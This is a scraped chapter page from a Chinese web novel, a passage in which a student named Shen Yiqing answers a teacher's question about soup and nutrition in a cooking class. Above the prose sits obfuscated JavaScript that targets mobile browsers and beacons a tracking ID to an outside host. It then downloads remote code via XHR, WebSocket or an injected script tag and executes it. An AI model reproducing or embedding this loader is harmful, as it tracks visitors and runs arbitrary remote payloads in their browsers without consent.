足迹
动物园:但怪物猎人
登录
关灯
护眼
字体:

动物园:但怪物猎人在线阅读 第168章(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

……”理论型的课程听得大多数人都昏昏欲睡,但不包括沈一清,她拿着笔记本,饶有兴趣地记录着自己感兴趣的要点。

淮扬菜十分注重营养与食物的本味,这算是她擅长的领域了,但她对不了解的事物充满了好奇心,连日本的营养学也要好好听讲一番。

“好啦,让我来提问一下,坐在第五排的长头发女生,就是你,你叫什么名字?

刚才听讲得很认真嘛。

刚才我介绍了几大营养素,你能不能回答一个简单的问题呢?

别紧张,回答错了也没问题。”

她老老实实地从位置上站起来,轻轻点头。

“好的,德雷老师,我是沈一清。”

她朝着她微笑,眼睛眯成了一条线。

“你觉得,喝汤是不是很容易变胖呢?”

沈一清歪着头略微思考了一下,清了清嗓子。

“任何类型的食物选择错误以及摄取过量,都会增加肥胖的几率。

单单说“汤”这个食物来看,它也分为浓汤、蔬菜汤、高汤等不同类型,不同的食材也决定了不同汤的营养价值。

西式浓汤经常会加入奶油,因此脂肪含量会比普通的蔬菜汤更高。

蔬菜汤如果只使用蔬菜制作,热量不会太高。

而高汤又分为肉汤和海鲜汤,肉汤多数使用骨头或者是肉类来熬制,肉熬煮过后,上面往往会漂浮着一层脂肪,我们制作时,可以选择用勺子舀去大部分,能够降低高汤的脂肪含量。

最后则是海鲜汤,鱼类和贝类等海鲜,都能够提供比较乐观的蛋白质来源,这也是为什么日式料理中为了清爽的口感,往往会选择使用海鲜类的高汤。”

“说得很好嘛!”

梵妮莎·德雷笑着鼓起掌,声音也欢快俏皮。

“沈同学理论基础这么扎实,想必烹饪料理也非常擅长吧,中国人对营养学也非常注重,从你的回答中我也领略了几分!”